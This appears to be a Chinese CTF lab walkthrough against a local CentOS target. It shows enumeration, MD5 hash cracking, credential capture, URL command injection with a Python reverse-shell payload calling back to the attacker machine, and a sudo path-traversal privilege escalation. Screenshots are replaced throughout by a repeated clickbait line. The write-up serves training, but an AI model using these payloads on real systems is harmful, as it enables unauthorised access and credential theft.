渗透的定义

渗透(Penetration,在信息安全领域通常指渗透测试/Penetration Testing)是一种授权模拟黑客攻击的安全评估方法,旨在发现计算机系统、网络或Web应用中的安全漏洞。

核心定义

渗透测试(Penetration Test,简称PenTest):

通过模拟恶意攻击者的技术和方法,在授权范围内对目标系统进行安全测试,以发现系统中存在的安全漏洞和风险,并提供修复建议的安全评估过程。

======================================================

以下以攻击机(kali)和目标机(centos)为例

-首先对攻击机(kali)的ip惊醒查询为192.168.110.138

ip a

-再对整个同一网段的ip地址进行ping扫描

nmap -sP 192.168.110.0/24

扫描出来的结果如下

震惊!!!鲁神的夺旗方法,如果你不知道的话那你已经可以退出这个领域了!!!

在此结果中我们可以发现其中基本可以排除192.168.110.1192.168.110.2、192.168.110.254

所以有效的ip地址分别为138和139,现在我们已知138为攻击机(kali)的ip地址,所以我们唯一不知道的就是139这个ip地址,所以我们可以对139这个IP地址进行信息搜集。

所以我们可以使用如下代码,针对139这个ip进行信息搜集

nmap -sV -sC -p- -T4 192.168.110.139

-sV:版本探测
-sC:运行默认的nmap脚本
-p-:扫描所有的端口
-T4:设置扫描速度为较快

T5的速度扫描速度是最快的,但是由于速度过快可能会丢失一部分数据,所以我们使用T4进行扫描

扫描出来的结果如下

震惊!!!鲁神的夺旗方法,如果你不知道的话那你已经可以退出这个领域了!!!

由上图的结果我们可以看到靶机的22端口已经关闭(close)了,但是80端口是开放状态(open)所以我们可以先到靶机的80端口看一下是否有有用的信息。

显示结果如图所示

震惊!!!鲁神的夺旗方法,如果你不知道的话那你已经可以退出这个领域了!!!

由于上方选项有登录和注册,所以我们可以先行注册,然后在进入到管理系统内部查看到底有其他什么信息

震惊!!!鲁神的夺旗方法,如果你不知道的话那你已经可以退出这个领域了!!!

在其中经过点击测试可以发现,其中除开网站测试功能之外我们并没有权限进行更多的操作。

但是在此网页中发现不管点到什么部分,他都是处于一个目录文件里,例如http://192.168.110.139/api/webtest.php

所以,我们可以对这个靶机服务器的目录进行扫描。

比如,我们可以选择gobuster等目录扫描工具,以下就用gobuster进行测试。

所以回到攻击机(kali)中,我们选择用gobuster对目标进行扫描,并且需要指定字典的路径、扩展名与线程数,代码示例如下:

gobuster dir -u http://192.168.110.139 -w /usr/share/wordlists/common.txt -x php,html,txt -t 50

其中dir为选择的目录
-u:指定目标的url
-w:指定使用字典路径
-x:指定要扫描的文件扩展名
-t:使用线程数

其中字典存放路径一般位于/usr/share/wordlists目录下。

按照以上代码进行工作后输出结果如下:

震惊!!!鲁神的夺旗方法,如果你不知道的话那你已经可以退出这个领域了!!!

由上图中我们可以发现返回代码分别有403,301和200

其中403:禁止访问;301:重定向;200:正常访问,所以我们已知有四个显示403文件,和三个显示200的文件。

并且在多个功能点开后,发现其中/api应该是个上层目录,并且是可以访问的,我们就试着对192.168.110.139/api进行信息搜集。

震惊!!!鲁神的夺旗方法,如果你不知道的话那你已经可以退出这个领域了!!!

由上图可以看到文件里有一个名为mgmt_page的文件,进行推测可以怀疑mgmt是Management的英文缩写,所以我们尝试对mgmt_page进行访问,发现他是系统维护入口,如下图所示

震惊!!!鲁神的夺旗方法,如果你不知道的话那你已经可以退出这个领域了!!!

并且经过测试发现密码只有5位。于是我们可以试着F12查看一下他是否有信息在页面代码里。

震惊!!!鲁神的夺旗方法,如果你不知道的话那你已经可以退出这个领域了!!!

可以看到系统维护人员将加密后的密码直接放在了这里,并且根据密码格式可以进行推断,并且下文也直接可以知道使用的是md5加密方法,那么已知为md5我们就可以对他进行解码。

解码可以自行选择解码工具,这里我们选择John the Ripper(以下简称john)作为我们的解码工具。

所以在kali中我们可以使用如下代码:

john key --format=Raw-MD5

其中key为我们创建的文件,内容就是上图中的96e44fa82e5a5263fb92337be422d3eb

key:创建的用来储存md5加密后的密文文件,名称可以任意选择
Raw-MD5:原生MD5

于是我们可以得到密码为:SOUTH

我们可以返回文件包含等进行测试,但是可能会发现文件包含等需要密码,但是他的网站测试我们是可以进行访问的,所以我们可以利用脚本对服务器发来的访问信息进行抓包,脚本内容如下:

from flask import Flask, request

app = Flask(__name__)

@app.before_request
def log_headers():
    print("=== 请求头信息 ===")
    for key, value in request.headers.items():
        print(f"{key}: {value}")
        print("================")

@app.route('/')
def index():
    return "请求头已打印到控制台,请查看服务器日志"
app.run(host='0.0.0.0', port=80)

有了此脚本之后我们就可以对请求到攻击机(kali)的数据进行抓包,并且可以发现一个编译后的数据如下:

震惊!!!鲁神的夺旗方法,如果你不知道的话那你已经可以退出这个领域了!!!

其中可以看到倒数第二行就是一串编译后的数据,并且根据最后的==两个等号可以推测为base64编译,所以我们选择进行解除编译,解码工具自行选择,发现解码后文件为:

fuli:wsGdwWQZTu7U4seseGaG

可以合理推断fuli为用户名,冒号后为密码,输入后确实可以登录到不可访问的两个区域了。

我们紧接着对文件包含测试里尝试进行url命令注入,我们选择进行尝试ls如下:

震惊!!!鲁神的夺旗方法,如果你不知道的话那你已经可以退出这个领域了!!!

于是我们发现可以返回结果,那我们可以直接选择尝试在本机138上对服务器的4444端口进行监控,使用shell监听代码如下:

192.168.110.139/api/include.php?file=mgmt_page&password=SOUTH&cmd=export%20RHOST=%22192.168.110.138
29%22;export%20RPORT=4444;python3%20-c%20%27import%20sys,socket,os,pty;s=socket.sock
et();s.connect((os.getenv(%22RHOST%22),int(os.getenv(%22RPORT%22))));[os.dup2(s.fileno(),fd)
%20for%20fd%20in%20(0,1,2)];pty.spawn(%22sh%22)%27

在攻击机(kali)上使用代码

nc -lvnp 4444

-监听4444端口的一切回应

在本机上成功监听后,我们进入到服务器内可以选择/..返回上一级,在进行一层层返回并ls之后我们可以发现flag1.txt文件,并且我们可以选择cat这个文件得到:

震惊!!!鲁神的夺旗方法,如果你不知道的话那你已经可以退出这个领域了!!!

如上我们得到了第一个flag。

接下来我们就可以进行翻箱倒柜的进行寻找,可以发现有一个flag3.txt,但是由于我们的权限不够,所以我们暂做保留,并且继续进行寻找。

在flag1的旁边我们可以看到一个名为html的目录

我们可以看到目录里有一个名为db.php的文件,并且通常db就是database数据库的缩写,所以我们可以进行查看

当我们进行cat查看之后可以看到如下内容:

震惊!!!鲁神的夺旗方法,如果你不知道的话那你已经可以退出这个领域了!!!

可以看到其中有user=root,并且可以看到pass密码,所以我们就可以直接登录mqsql数据库。

在进入mysql数据库之后我们就可以开始翻箱倒柜了,并且可以看到一个直接名为web_test_management的数据库,选择数据库之后我们就可以查看到一个名为user的卷,所以我们对user进行查看,mysql操作方式不多做赘述,整体步骤操作如下:

震惊!!!鲁神的夺旗方法,如果你不知道的话那你已经可以退出这个领域了!!!
震惊!!!鲁神的夺旗方法,如果你不知道的话那你已经可以退出这个领域了!!!

由上图我们可知admin的加密后的密码,并且由于之前我们在翻箱倒柜的时候可以看到有一个名为benjamin的用户,所以我们合理推测此admin就是benjamin的密码。

震惊!!!鲁神的夺旗方法,如果你不知道的话那你已经可以退出这个领域了!!!

所以我们得到了benjamin加密后的密码,我们就需要对此md5进行解密,解密我们也可以使用脚本文件,代码如下:

import hashlib
with open("/usr/share/wordlists/rockyou.txt","rb") as f1:
    dict=f1.read()
for i in dict.split(b"\n"):
    if hashlib.md5(i+b"1753128055").hexdigest()=="9eaf9317aac50c955575334a93d0b09c":
    print(i)
    break

运行脚本并且选择字典进行爆破之后,我们可以发现密码原文为:chispa

并且我们可以通过su benjamin进行转换用户,输入密码chispa之后发现成功的登录上了benjamin这个用户,并且可以在benjamin的目录下发现flag2.txt

在查看之后发现内容如下:

震惊!!!鲁神的夺旗方法,如果你不知道的话那你已经可以退出这个领域了!!!

由此我们得到了flag2的内容。

我们可以通过benjamin这个用户去查看一下flag3.txt,可以发现依旧无权查看,那可以推测可能这个账户是root才能查看的了,那么我们可以通过su -l查看benjamin这个用户可以使用的权限。

在查看之后可以发现内容如下:

震惊!!!鲁神的夺旗方法,如果你不知道的话那你已经可以退出这个领域了!!!

其中标红部分,最为重要,因为他可以不需要密码查看这个文件下的所有文件。

所以我们可以绕个弯子,使用这条命令对flag3文件进行查看:

sudo /bin/cat /root/notes/../../flag3.txt

使用给与的权限,通过在同一行中的/..返回到上一级目录去查看flag3文件

并且经过此类方法我们可以发现看到了flag3.txt内容如下

震惊!!!鲁神的夺旗方法,如果你不知道的话那你已经可以退出这个领域了!!!

由此我们拿到了所有的3个flag

======================================================

本文总结使用方式:

1.信息搜集

2.目录枚举

3.敏感信息泄露

4.密码破解

5.网络监听与抓包

6.命令注入

7.权限提升

8.反向shell

9.文件包含


核桃大魔王